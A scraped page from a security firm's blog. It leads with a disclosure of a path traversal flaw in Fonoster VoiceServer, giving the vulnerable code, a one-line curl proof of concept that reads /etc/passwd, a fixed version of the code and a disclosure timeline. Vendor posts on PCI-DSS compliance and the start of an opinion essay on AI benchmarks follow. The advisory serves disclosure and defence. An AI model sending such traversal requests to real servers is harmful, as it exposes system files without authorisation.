https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability Security researchers at ZeroPath discovered a Local File Inclusion (LFI) vulnerability in Fonoster VoiceServer, an open-source AI project for building voice applications. --- # Fonoster VoiceServer LFI Vulnerability (CVE-2024-43035) *By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath* Security researchers at ZeroPath discovered a Local File Inclusion (LFI) vulnerability in [Fonoster VoiceServer](https://github.com/fonoster/fonoster), a popular open-source platform for building voice applications. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/fonoster-lfi-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details The vulnerability stems from insecure handling of user input in the file serving functionality of Fonoster VoiceServer. Specifically, the vulnerability was identified in two endpoints within the VoiceServer: - `/sounds/:file` - `/tts/:file` Both of these endpoints are handled by the `serveFiles` function in `utils.ts`. The core issue here is the insecure joining of the config.pathToFiles and req.params.file variables without proper validation: ```javascript export const serveFiles = (config: ServerConfig) => { return (req, res) => { fs.readFile( join(config.pathToFiles, req.params.file), function (err, data) { if (err) { res.send("unable to find or open file"); } else { res.setHeader("content-type", "audio/x-wav"); res.send(data); } res.end(); } ); }; }; ``` ## Proof of Concept To demonstrate the vulnerability, we can send a malicious GET request to the `/sounds` endpoint. For example, this command attempts to read the `/etc/passwd` file: ```bash curl http://localhost:3000/sounds/..%2f..%2f..%2fetc%2fpasswd ``` This simple cURL request exploits the lack of security checks to traverse the directory structure and access local system files. ## Mitigation To address these kinds of vulnerabilities, we recommend using the following security measures: 1. **Input Validation**: Validate the `file` parameter conforms to your expected input, and doesn't contain any path traversal attempts. 2. **Path Normalization**: Use `path.normalize()` to remove any `../` sequences from the file path. 3. **Path Resolution**: Check that the new normalized path remains within the intended directory. config.pathToFiles in this case. Here's an example of how the `serveFiles` function could be improved: ```javascript export const serveFiles = (config: ServerConfig) => { return (req, res) => { const requestedPath = join(config.pathToFiles, req.params.file); const normalizedPath = normalize(requestedPath); if (!normalizedPath.startsWith(config.pathToFiles) || isAbsolute(req.params.file)) { res.status(403).send('Access denied'); return; } fs.readFile(normalizedPath, (err, data) => { if (err) { res.status(404).send('Unable to find or open file'); } else { res.setHeader('Content-Type', 'audio/x-wav'); res.send(data); } }); }; }; ``` ## Conclusion + Timeline - July 21, 2024: Initial email sent to Fonoster developers detailing the vulnerability. - July 25, 2024: Follow-up email sent due to lack of response. - July 30, 2024: Second follow-up email sent, still receiving no response. - August 21, 2024: Submitted vulnerability details and a patch via GitHub. - August 23, 2024: Public disclosure of the vulnerability. Currently, there is no patched version for the Fonoster VoiceServer. We recommend making the suggested mitigations yourself or taking down your Fonoster server until an official patch is released. ## Want to chat? This local file inclusion vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- ### Insights (5 most recent of 5 total) #### How to meet security requirements for PCI-DSS compliance? - **Date**: July 17, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 8 minutes - **Keywords**: PCI compliance, PCI DSS compliance, PCI DSS 12 requirements, PCI DSS security standards, shifting left security, payment security, fintech compliance, credit card processing, application security, compliance requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance Of the 12 requirements of PCI DSS, the 6th one requires companies to maintain application security at all times and is one of the most critical and challenging to meet due to the dynamic nature of software development. --- If you've been following our PCI compliance series, you already know [what type of PCI compliance your business needs](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance) and understand [the 12 core requirements of PCI-DSS](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant). Now, onto the more practical part: how do you actually implement and maintain these requirements at scale, especially when your engineering teams are pushing code multiple times a day? And this can get really messy really fast as teams scale. The reality is that PCI-DSS Requirement 6 (Deploy and maintain secure systems and applications) isn't just any other requirement. It's the most dynamic and challenging requirement to maintain. While you can configure a firewall once and monitor it, your application code is constantly changing. Every commit, every dependency update, and every new feature potentially introduces vulnerabilities that could compromise cardholder data. This is where modern AI-native Application Security (AppSec) tools, such as ZeroPath, become essential, not just for compliance, but for maintaining actual security in a fast-moving development environment. ## Security at the Speed of Development Traditionally, teams would do quarterly or annual checks. Companies would [conduct a penetration test (pentest)](https://zeropath.com/products/penetration-tests) to identify and flag all potential vulnerabilities. Security teams would then be assigned to patch those loose ends, and ultimately, everything would be secured and marked as PCI-DSS compliant. That approach is fundamentally flawed, as code is being pushed to production every day. It's highly vulnerable for any company to wait until the next quarterly scan, especially when the code is going live on the same day. Consider what PCI-DSS 4.0.1 actually requires for application security: - Vulnerability identification and remediation within one month for critical issues - Secure coding practices with code review. ([Security practices for vibe coding](https://zeropath.com/blog/vibe-coding-and-security)) - Protection against common vulnerabilities ([OWASP Top 10](https://zeropath.com/blog/what-is-owasp)) - Change control and separation of development/production environments - Regular security testing, including both automated and manual reviews Now multiply these requirements across dozens of repositories, hundreds of developers, and thousands of commits per month. Manual processes simply can't scale. ## Security for PCI-DSS Compliance becomes much easier when teams follow good engineering practices and incorporate security into the process from the outset. This mindset is known as the [shifting left](https://www.dynatrace.com/news/blog/what-is-shift-left-and-what-is-shift-right/) mindset, and many teams are beginning to shift left very early in their product development cycle. Modern AI-native AppSec platforms, such as ZeroPath, address this by embedding security checks directly into the development workflow. Instead of finding vulnerabilities months after their introduction, ZeroPath catches them before they ever reach production. ## AppSec Capabilities for PCI-DSS Requirements ### Requirement 6.2: Protect Applications Against Known Vulnerabilities Traditional SAST tools, such as Snyk and Semgrep, identify vulnerabilities through sophisticated pattern matching; however, they often overlook context-dependent issues that actually get exploited. An AI-native SAST tool like ZeroPath goes beyond just pattern matching. It understands your code base, identifying business logic flaws and authentication bypasses that couFld expose cardholder data. It uses LLMs to identify sinks and sources, tracing user input through your application to find exploitable paths. This means ZeroPath can detect: - **Business Logic Vulnerabilities**: The Business Logic Scanner identifies flaws such as price manipulation in e-commerce systems, coupon exploitation, and workflow bypasses. - **Authentication/Authorization Issues**: ZeroPath specifically identifies broken or missing authentication (authN) and authorization (authZ) issues. For payment systems, this means catching IDOR vulnerabilities where users could access other customers' payment information, or missing function-level access controls on payment APIs. - **Technical Vulnerabilities**: Beyond business logic, ZeroPath detects SQLi, XSS, SSRF, and other [OWASP Top 10 vulnerabilities](https://zeropath.com/blog/what-is-owasp) using its sink component, which uses AI to stay current with new vulnerability classes. At some point, you might feel like there are too many AppSec solutions to choose from, and for that very reason, our security team has [run benchmarks on the major AppSec providers](https://zeropath.com/blog/benchmarking-zeropath). ZeroPath leads this industry with an 81.7% detection rate, more than twice that of Snyk, and a 19.9% false rate, almost half that of Semgrep. Additionally, to meet this PCI-DSS requirement, ZeroPath supports over 20 languages (including C, C++, Java, Python, JavaScript/TypeScript, Ruby, Go, and more), providing comprehensive coverage across your payment processing stack, including templating engines such as Svelte and Embedded Ruby. Also, if all of this information made you curious about how ZeroPath works under the hood, [our security team has a step-by-step process for how ZeroPath is made from the ground up](https://zeropath.com/blog/how-zeropath-works) using LLMs. ### Requirement 6.3: Develop Software Securely PCI-DSS mandates secure coding practices and code reviews. Developers can meet this requirement easily with ZeroPath in multiple ways: #### 1. [AI Pull Request Scanning](https://zeropath.com/products/pr-reviews) ZeroPath scans every PR in under 60 seconds, ensuring vulnerabilities never reach production. The scan includes: - Vulnerability detection across your entire codebase - Repository context analysis to understand how changes impact security - Automatic patch generation for discovered issues #### 2. [Natural Language Rules](https://zeropath.com/products/policy-engine) Security teams love using ZeroPath because they can define custom policies without writing complex regex. This has become one of the most valuable features for developers. Teams have seen a significant boost in productivity and vulnerability findings since they no longer have to write regex and consider all possible edge cases. For PCI compliance, you might create rules like: - `Ensure no logging of credit card numbers` - `Verify that all payment endpoints require authentication` - `Prevent storage of CVV data in any form` #### 3. [Code Review Integration](https://zeropath.com/products/integrations) ZeroPath integrates with the majority of industry-standard developer applications. * GitHub * GitLab * Bitbucket * Azure Pipelines * CLI / Docker Support * Code Upload Other Integrations: * Jira * Linear * Slack * Email * Webhooks * SARIF, CSV exports * API In case of vulnerability detected in any of the PR or code scans, ZeroPath raises an issue or blocks the PR and assigns it to the developer who initially wrote that code, so that there is less need for manual management. ### Requirement 6.4: Follow Change Control Processes Teams confuse change control with proper documentation or detailed commit messages, but at its core, the goal is not to introduce vulnerabilities. ZeroPath customers navigate this by: * **Audit Logs**: Logging every scan, finding, and remediation, providing the documentation required for PCI audits. Teams can export these logs and other reports and use them during their compliance audits as proof of security. * **Break Glass Access**: For emergency deployments, authorized users can bypass failed security checks while maintaining full audit trails. * **Scan Cancellation and Logs**: Gain complete visibility into all security scans, including who initiated them, what they found, and how they resolved those issues. * **Team/Organization-based ACLs**: Granular access controls ensure separation of duties between development and production environments, with MSP support for managing multiple organizations. ### Requirement 6.5: Address Common Vulnerabilities ZeroPath's vulnerability detection addresses all major vulnerability classes required by PCI-DSS: * [**Integrated SCA with Reachability Analysis**](https://zeropath.com/products/sca): The platform not only lists vulnerable dependencies but also determines whether vulnerable code is actually reachable from user inputs. This eliminates false positives significantly and focuses remediation efforts on actual risks. * [**Secret Detection**](https://zeropath.com/products/secrets): Automatically finds hardcoded API keys, passwords, and credentials that could compromise payment systems. ZeroPath tests these secrets and only raises an issue when those secrets are live and functional. So, if your team is using some test cases, you don't need to worry about the false positives. * [**Infrastructure as Code (IaC) Scanning**](https://zeropath.com/products/iac): Ensures your cloud infrastructure configurations don't expose payment processing systems. * [**Source-to-Sink Visibility**](https://zeropath.com/products/sast): A full call graph of relationships shows exactly how user input can reach vulnerable code, which is essential for understanding complex payment flow vulnerabilities. ### Requirement 8: Identify Users and Authenticate Access You can meet more requirements than just the 6th with ZeroPath. It helps you ensure your authentication implementations are secure: * **Authentication Vulnerability Detection**: ZeroPath specifically looks for broken authentication patterns, including: * Missing MFA implementations * Weak session management * JWT misconfigurations * Authentication bypass vulnerabilities ZeroPath is also the only AppSec solution that can detect authentication issues and business logic flaws. **Custom Authentication Policies**: You can use natural language rules to enforce your specific authentication requirements, such as `all admin endpoints must use multi-factor authentication.` ### Requirement 11.3: Perform External and Internal Vulnerability Scanning By this point, you should understand why it's essential to perform continuous vulnerability scans rather than conducting them periodically. * **Scheduled Scans**: In some cases, teams might still want a complete periodic scan for safekeeping, and for that case, they can configure automatic scans on your preferred schedule. Teams can enable Auto AppSec mode simultaneously with PR scans that take place with every code push. * **Permissiveness Levels**: Adjust scanning sensitivity for different environments. You would ideally want stricter rules for production and more permissive rules for development. * **Intelligent Severity Scoring**: Using CVSS 4.0, ZeroPath provides accurate severity ratings that help prioritize remediation efforts. ZeroPath evaluates every vulnerability and assigns it a confidence score based on its severity and exploitability, allowing teams to prioritize patches. ### Requirement 12.8: Maintain Policies for Service Providers For organizations acting as service providers, reporting and management become a priority, and to ease their workload, ZeroPath can: * Reporting Capabilities: Generate repo, organization, or team-level analytics, including: * Mean time to remediation * Most common vulnerability classes by language and framework * Team performance metrics * Vulnerability trends over time * SBOM Generation: Export Software Bill of Materials for transparency with your customers about your security posture. * CWE Mapping: All vulnerabilities get mapped to the CWE standards for consistent reporting. * [Enterprise SSO Integration](https://zeropath.com/products/enterprise): Centralized authentication management ensures proper access control across all teams. ## Conclusion PCI-DSS compliance, especially the security aspect of it, doesn't really have to slow down development or require massive manual effort. You can choose [one of the AppSec platforms](https://zeropath.com/blog/top-ai-sast-tools) to automate a lot of it, from security and logging to monitoring. ZeroPath has helped numerous fintech and payment companies achieve PCI-DSS compliance. Using features such as the Business Logic Scanner, natural language rules, and automatic patch generation, you can ensure your payment systems remain secure without requiring active development hours and energy. The inbuilt language support, integrations, and detection capabilities make it an easy plug-and-play security and compliance solution. --- #### What is PCI DSS? 12 Requirements to be PCI DSS Compliant - **Date**: July 16, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: PCI compliance, PCI DSS compliance, PCI DSS 12 requirements, PCI DSS security standards, shifting left security, payment security, fintech compliance, credit card processing, application security, compliance requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant PCI DSS is a set of 12 requirements designed to protect cardholder data. It covers security, network, and application layers. To be compliant, businesses must implement these requirements, which include data encryption, firewalls, regular security audits and more. --- PCI DSS stands for Payment Card Industry Data Security Standard. It’s a set of security requirements designed to ensure that all companies that process, store, or transmit credit card information maintain a secure environment. PCI-DSS is one of the most famous standards under the "PCI Compliance" umbrella term. If you are curious and unsure which PCI standard applies to you, we have provided a detailed breakdown of all types of PCI compliance in our ["What is PCI Compliance?"](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance) blog. ## Who needs PCI-DSS Compliance? Before we discuss the specifics of PCI-DSS, it's beneficial to understand how different players fit into this landscape and who bears the most compliance responsibilities. So, a PCI-DSS is required by any organization (no matter the size) that stores, processes, or transmits payment-card account data. This captures two broad populations. * **First are merchants**: the coffee shop with a single countertop terminal ([different PCI standards for day-to-day payment mediums like terminal machines](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance)), the local e-commerce start-up accepting card payments through Shopify, and retailers such as Walmart or Amazon that operate an enormous volume of card data spanning online and brick-and-mortar sales. Visa, Mastercard, AMEX, Discover, and JCB classify all these merchants into four categories based on their transaction-volume “levels,” so even a sole proprietor who handles a handful of card payments a day is technically in scope, while a firm like Target, which processes millions of transactions a year faces heavier validation and annual on-site assessments. * **Second are service providers**: products that store, process, or transmit cardholder data on behalf of others. Payment gateways, such as Stripe, Adyen, or Square, are examples of this category, which handle card data for thousands of merchants. Also, note that the data center and managed-hosting companies, such as Equinix, call-center outsourcers that record card numbers for reservations (think Marriott’s reservation hotline run by a BPO), and even tokenization or fraud-scoring SaaS vendors are likewise considered service providers and must be PCI-DSS compliant if they ever touch the primary account number or related authentication data. Therefore, this way both categories get compliant. During the Home Depot’s self-managed point-of-sale network breach in 2014, the compromise exposed approximately fifty million card numbers; investigators later linked the initial intrusion to lax segmentation and password reuse, areas that the PCI-DSS clearly addresses in its core requirements. In 2020, the cloud service provider Jelly Bean received fines after investigators discovered that merchants using its web-checkout widget were unintentionally collecting raw magnetic-stripe data, placing every one of those merchants out of compliance, even though they had never seen the card numbers directly. ## Breakdown of PCI-DSS Compliance  ### Current Version: PCI DSS 4.0.1 - Released: March 31, 2022 (4.0), Updated June 2024 (4.0.1) - Mandatory Since: April 1, 2024 - PCI DSS 3.2.1 retired: March 31, 2024 - Future requirements become mandatory: March 31, 2025 (51 new requirements) ### The 12 Core Requirements To be PCI-DSS compliant, an organization must meet these 12 foundational requirements, which primarily ensure that data is collected, transmitted, and stored securely with proper implementation of software development practices. #### 1. Build and Maintain a Secure Network Firewalls create the first line of defense between trusted internal networks and the open internet, as well as within an organization, between the cardholder data environment (CDE) and the rest of the corporate network. If you are looking to be PCI-DSS compliant, start by drawing a simple diagram of every place your company’s systems touch the public internet and every internal segment that will ever see cardholder data. Anything inside the “cardholder-data environment” (CDE) must be protected by a firewall or cloud security group that blocks all traffic except that explicitly required by a payment function. #### 2. Eliminate default credentials and settings Every factory password, SNMP string, demo certificate, and open service must be changed or disabled before a system goes live. Walk through each router, switch, virtual machine image, SaaS admin panel, payment terminal, and development stack. Change or disable factory passwords, demo accounts, “admin/admin” logins, public SNMP strings, and self-signed test certificates before the device ever sees production traffic. If you maintain golden images in a CI/CD pipeline, bake these hardening steps into the pipeline so new servers launch in a secure state by default. #### 3. Encrypt or truncate stored card data Any primary account number (PAN), expiration date, or cardholder name that resides on disk, in database tables, or backups must be rendered unreadable through strong cryptography or irreversible hashing, with cryptographic keys stored and rotated under strict management. Once the authorization is complete, orgs should not retain any of the additional sensitive authentication data (full magnetic-stripe contents, CVC2/CVV2, PIN blocks). By ensuring that a compromised storage platform reveals nothing useful, this requirement significantly limits the financial value of a breach and the incentive to attack. #### 4. Encrypt card data in transit Whether data travels between a point-of-sale terminal and a payment processor, or between cloud microservices, the traffic must use up-to-date secure protocols (TLS 1.2+ or authenticated VPN tunnels), strong cipher suites, and properly validated certificates. Encryption in transit closes a common interception path: network sniffing, rogue access points, and man-in-the-middle attacks become ineffective because the attacker sees only ciphertext. #### 5. Remove malware on every vulnerable system PCI-DSS requires centrally managed, signature-based, and behavior-based anti-malware solutions on every workstation and server commonly targeted by malicious code, with continuous updates, alerting, and tamper protection. Deploy an endpoint-detection-and-response (EDR) agent to every workstation and server that can reach the CDE. Turn on real-time scanning, automatic signature updates, and tamper protection; forward alerts to a shared security inbox or SIEM. If you build container images, run malware scans in the CI pipeline, and block the build when high-severity detections appear. #### 6. Deploy and maintain secure systems and applications. [Zeropath is helping companies be more secure for PCI Compliance.](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) As a company handling user-sensitive data, you must ensure that the software is secure from all types of vulnerabilities, including recent and previously disclosed ones. Track vendor security advisories, patch critical vulnerabilities within one month, follow secure coding practices, and perform code reviews either manually or scale it better with SAST tools like ZeroPath in the pipeline. We understand if this sounds like a lot of things to keep track of, and it is. Therefore, AI Native SAST tools like ZeroPath make security checks for PCI compliance easier for larger teams. ZeroPath runs periodic scans over the internal codebase and identifies vulnerabilities, such as authentication flaws and business logic issues, that other SAST tools still can't detect. If you're interested in learning how ZeroPath works, you can find a [detailed behind-the-scenes here](https://zeropath.com/blog/how-zeropath-works). #### 7. Access control policies: These policies must map every account, role, and privilege to a documented business justification, adhering to the principle of least privilege. The standard requires role-based access control, separation of duties, and formal authorization workflows. Limiting who can read, write, or query card data reduces the leakage significantly. Create role-based access control (RBAC) groups that reflect specific job duties, such as “Support-L1,” “DBA-Read,” and “Dev-No-Prod.” Nobody outside the Payment Operations team should be able to view full PANs, and no single person should be responsible for both approving and deploying code to production. Review group membership every quarter; use an identity-governance tool that automatically deactivates accounts after sixty days of inactivity. #### 8. Tie every action to a unique, MFA-protected identity Each person or automated process must use a unique ID, with multi-factor authentication for administrative and remote access. Strong password policies, account-lockout thresholds, and periodic credential rotation are mandatory. These unique identifiers help security teams reconstruct a breach timeline by knowing exactly which identity performed each action. MFA also helps prevent stolen-credential attacks that often target remote access services. #### 9. Restrict physical access to cardholder data Servers, point-of-sale devices, paper storage, and networking closets that contain the CDE must be located in monitored, access-controlled facilities with visitor logging and secure media handling procedures. Physical controls complement logical controls. If someone can walk off with an unencrypted backup tape or plug a hardware keylogger into a cash register, software defenses are not really of much use. #### 10. Collect and store tamper-proof logs Configure syslog or agent-based forwarding from every firewall, server, application, and database into a centralized SIEM. Retain logs for twelve months, keeping the most recent three months “hot” for immediate search. All this data will enable real-time alerting and post-incident analysis. #### 11. Regularly test security systems and processes For most companies, depending on their transaction volume, this could involve a scheduled quarterly to yearly external and internal vulnerability scan using an ASV-approved scanner. If you are actively looking for such scanners, here is a comprehensive list. Along with ASV scans, most companies also conduct a full annual pentest or whenever they launch a significant new payment flow. You can get a [full pentest from ZeroPath](https://zeropath.com/products/penetration-tests) itself, which is going to be faster, efficient, and much more cost-effective than other solutions out there. ZeroPath's average turnaround time for a pentest has consistently been less than a week. #### 12. Security in policy and governance Last but not least, a crucial point in this compliance is how we make decisions, how transparent they are, and how we share them within the team. Companies should have an information-security policy that clearly states who owns each control, outlines the process for reporting violations, and specifies how to handle incidents. Have senior leadership sign it, publish it on the company wiki, and train every employee on the parts that apply to their role. Maintain a third-party inventory listing of every vendor that handles card data, require them to prove their own PCI compliance annually, and include a right-to-audit clause in new contracts. Finally, companies should reach out to a Qualified Security Assessor (QSA) to perform a formal gap assessment and guide them toward the correct Self-Assessment Questionnaire (SAQ) or Report on Compliance (ROC) required for their merchant or service-provider level. ## Conclusion & Next Steps Many people and organizations read PCI DSS as a to-do list, but at its core, it's more about an engineering design discipline. Firewalls, encryption, and RBAC give card data a hardened perimeter, yet the system is only as strong as the code your team ships every day. Requirement 6, which is deploying and maintaining secure systems and applications, is one of the most crucial requirements in this process. Because software changes with every commit, this requirement isn't a one-time config but more like a continuous check, which in many teams needs to happen multiple times a day. That is precisely where a security platform, rather than a compliance cheatsheet, is required. ZeroPath’s platform addresses this by starting with its core [best-in-class, AI-native SAST engine](https://zeropath.com/products/sast). Following that, you also get to secure your software supply chain with [Software Composition Analysis (SCA)](https://zeropath.com/products/sca), prevent insecure configurations with [Infrastructure as Code (IaC) scanning](https://zeropath.com/products/iac), and even [detect and validate leaked secrets](https://zeropath.com/products/secrets) hidden deep within your codebase. That's one complete AI-native AppSec solution that meets and exceeds compliance needs. This continuous process begins on the first run, where ZeroPath indexes and scans your entire application. This could also be the first for your team to shift left. From that point on, security is embedded directly into the development lifecycle through automated [PR Reviews](https://zeropath.com/products/pr-reviews), ensuring developers can catch vulnerabilities before they are ever merged. For many common issues, ZeroPath can even [automatically fix security vulnerabilities](https://zeropath.com/products/sast-autofix) with AI-powered code remediation. While these might seem like building a lot of tooling infra, it really comes down to embedding these controls directly into the developer workflow through [CI/CD and tool integrations](https://zeropath.com/products/integrations) and automatically syncing findings with [AppSec Risk Management](https://zeropath.com/products/risk) tools like Jira, Linear, Asana, GitHub, GitLab, Azure DevOps and many more. ZeroPath makes Requirement 6 from an annual audit concern into a background service that takes care of itself autonomously. If PCI-DSS is on your roadmap and you need help meeting security requirements, the ZeroPath team is more than happy to help. Moreover, we also have a [detailed walkthrough of how you can achieve the security requirement for PCI-DSS with ZeroPath](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance). --- #### What is PCI Compliance? Does your business need PCI Compliance? - **Date**: July 15, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 5 minutes - **Keywords**: PCI compliance, PCI DSS, Payment Security, Fintech Compliance, Credit Card Processing, Application Security, Compliance Requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance PCI compliance refers to security standards protecting cardholder data during transactions. It includes standards like PCI DSS for handling card data, PCI PTS for payment terminals, and PCI 3DS for online fraud prevention. Businesses must determine their specific needs, like whether they store card information or use physical readers. --- If you are ever collecting your customers' card data or outsourcing that task to services like Stripe, PayPal, Square, etc, you have likely heard of PCI compliance. ## What is PCI Compliance? Payment Card Industry (PCI) compliance refers to a set of security standards that protect cardholder data at all stages of acceptance, processing, storage, and transmission. It’s not just one security standard but an umbrella term that includes: • **PCI DSS**: For any company storing, processing, or sending card data. If you accept cards, PCI DSS is the leading standard you need to follow. • **PCI PTS**: For manufacturers of payment terminals (like card readers). The hardware device you use to enter your PIN at a store (like a card reader) must be PCI PTS compliant. • **PCI PIN**: For businesses that process PIN transactions. If you handle customer PINs, you need to follow PCI PIN rules. • **PCI P2PE**: For anyone encrypting card data from the terminal to the payment processor. To ensure card data remains safe from end to end, use PCI P2PE. • **PCI 3DS**: For companies using 3D Secure to stop online fraud. If your site requires additional authentication when you make a payment, that’s PCI 3DS. Now, depending on what a company does, it might need to comply with different standards. The PCI Security Standards Council, comprising major credit card companies such as Visa, Mastercard, American Express, Discover, and JCB, has developed these standards. Not complying with them can result in hefty fines, increased transaction fees, or even the loss of the ability to process card payments. Some states, such as Nevada, have also incorporated PCI DSS into law, but for most, it remains a contractual obligation. **Note**: Most of the time, when people say “PCI compliance,” they’re [talking about PCI DSS](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant), because that’s the standard that applies to most businesses. ## Does your company need PCI Compliance? Whether you need PCI compliance or not is dependent on various factors. * Does your company store the card information directly? Or outsource it to payment providers? * Does the company use a physical card reader in its stores? * Even though you may not see your customer’s card details, you may still need to follow PCI compliance standards to some extent. In practice, it looks something like this: 1. **Retail Chain**: Let’s say you’re building a payment system for a retail chain: * Your company must be PCI DSS compliant because you handle cardholder data. * The POS software you use must be PA-DSS compliant. * The card readers in your stores must be PCI PTS compliant. * If you use end-to-end encryption, you may also need to follow PCI P2PE guidelines. 2. **Online travel booking**: Now, let’s say you’re building a website like Expedia or MakeMyTrip, where users can book flights, hotels, and rental cars. * PCI DSS: Because you collect, process, and store cardholder data from customers booking travel online. * PA-DSS: The payment gateway must be PA-DSS compliant. If you use a third-party payment application (like a checkout widget or embedded payment form), that software must be PA-DSS compliant to ensure it handles card data securely. * PCI PTS: If you offer in-person bookings at airport kiosks, the card readers must be PCI PTS compliant. For customers who pay at a physical kiosk, the hardware used to read their cards must be compliant. * PCI P2PE: If you use point-to-point encryption for card data from the kiosk to your servers, you need PCI P2PE compliance. The compliance ensures the encryption of card data from the moment it's swiped at the kiosk until it reaches your payment processor. * PCI 3DS: If you support 3D Secure for online payments, you must be PCI 3DS compliant. When a customer is prompted for an OTP or biometric authentication while making an online payment, your system must handle that data per PCI 3DS standards. * PCI PIN: If you process PIN-based debit transactions at kiosks, you must be PCI PIN compliant. This covers the secure handling and encryption of PINs entered by customers. This might feel like a lot of work to get a simple end-to-end business running, and in fact, it is. However, in day-to-day operations, you use different providers and abstractions to simplify a lot of compliance work. For example, you can use a third-party payment processor (such as Stripe or PayPal), which shifts much of the PCI burden to them; however, you still need to ensure that your integration is secure. While there are numerous PCI compliance standards, the most standard one is PCI-DSS, which is required by almost every company dealing with payments in some form or another. If you're in the same boat, [here's our guidance on PCI-DSS and how you can achieve PCI-DSS compliance](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant). ZeroPath also helps teams achieve PCI-DSS compliance security standards, and if it's something on your roadmap, it might be worth shifting security left in the SDLC from the very beginning and using [AI-native SAST like ZeroPath to simplify and automate your security](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance). --- #### On Recent AI Model Progress - **Date**: March 24, 2025 - **Authors**: Dean Valentine - **Reading Time**: 18 minutes - **Keywords**: Insights, Benchmarking, OpenAI, Anthropic - **URL**: https://zeropath.com/blog/on-recent-ai-model-progress Exploring the real-world effectiveness of AI advancements through our experiences building security-focused AI tools, with honest perspectives on capability gaps, benchmarking challenges, and practical applications. --- About nine months ago, I and three friends decided that AI had gotten good enough to monitor large codebases autonomously for security problems. We started a company around this, trying to leverage the latest AI models to create a tool that could replace at least a good chunk of the value of human pentesters. We have been working on this project since June 2024. Within the first three months of our company's existence, Claude 3.5 sonnet was released. Just by switching the portions of our service that ran on gpt-4o, our nascent internal benchmark results immediately started to get saturated. I remember being surprised at the time that our tooling not only seemed to make fewer basic mistakes, but also seemed to *qualitatively* improve in its written vulnerability descriptions and severity estimates. It was as if the models were better at inferring the intent and values behind our prompts, even from incomplete information. As it happens, there are ~basically no public benchmarks for security research. There are "[cybersecurity](https://arxiv.org/abs/2408.01605)" evals that ask models questions about isolated blocks of code, or "CTF" evals that give a model an explicit challenge description and shell access to a <1kLOC web application. But nothing that gets at the hard parts of application pentesting for LLMs, which are 1. Navigating a real repository of code too large to put in context, 2. Inferring a target application's security model, and 3. Understanding its implementation deeply enough to learn where that security model is broken. For these reasons I think the task of vulnerability identification serves as a good litmus test for how well LLMs are generalizing outside of the narrow software engineering domain. Since 3.5-sonnet, we have been monitoring AI model announcements, and trying pretty much every major new release that claims some sort of improvement. Unexpectedly by me, aside from a minor bump with 3.6 and an even smaller bump with 3.7, literally none of the new models we've tried have made a significant difference on either our internal benchmarks or in our developers' ability to find new bugs. This includes the new test-time OpenAI models. At first, I was nervous to report this publicly because I thought it might reflect badly on us as a team. Our scanner has improved a lot since August, but because of regular engineering, not model improvements. It could've been a problem with the architecture that we had designed, that we weren't getting more milage as the SWE-Bench scores went up. But in recent months I've spoken to other YC founders doing AI application startups and most of them have had the same anecdotal experiences: 1. o99-pro-ultra announced, 2. Benchmarks look good, 3. Evaluated performance mediocre. This is despite the fact that we work in different industries, on different problem sets. Sometimes the founder will apply a cope to the narrative ("We just don't have any PhD level questions to ask"), but the narrative is there. I have read the studies. I have seen the numbers. Maybe LLMs are becoming more fun to talk to, maybe they're performing better on controlled exams. But I would nevertheless like to submit, based off of internal benchmarks, and my own and colleagues' perceptions using these models, that whatever gains these companies are reporting to the public, they are not reflective of economic usefulness or generality. They are not reflective of my Lived Experience or the Lived Experience of my customers. In terms of being able to perform entirely new tasks, or larger proportions of users' intellectual labor, I don't think they have improved much since August. Depending on your perspective, this is good news! Both [for me personally](https://lukaspetersson.com/blog/2025/power-vertical/), as someone trying to make money leveraging LLM capabilities while they're too stupid to solve the whole problem, and for people worried that a quick transition to an AI-controlled economy would present moral hazards. At the same time, there's an argument that the disconnect in model scores and the reported experiences of highly attuned consumers is a bad sign. If the industry can't figure out how to measure even the *intellectual ability* of models now, while they are mostly confined to chatrooms, how the hell is it going to develop metrics for assessing the *impact* of AIs when they're doing things like managing companies or developing public policy? If we're running into the traps of Goodharting before we've even delegated the messy hard parts of public life to the machines, I would like to know why. Are the AI labs just cheating? ------------------------------ AI lab founders believe they are in a civilizational competition for control of the entire future lightcone, and will be made Dictator of the Universe if they succeed. Accusing these founders of engaging in fraud to further these purposes is quite reasonable. Even if you are starting with an unusually high opinion of tech moguls, you should not expect them to be honest sources on the performance of their own models in this race. There are very powerful short term incentives to exaggerate capabilities or selectively disclose favorable capabilities results, if you can get away with it. Investment is one, but attracting talent and winning the (psychologically impactful) prestige contests is probably just as big a motivator. And there is essentially no legal accountability compelling labs to be transparent or truthful about benchmark results, because nobody has ever been sued or convicted of fraud for training on a test dataset and then reporting that performance to the public. If 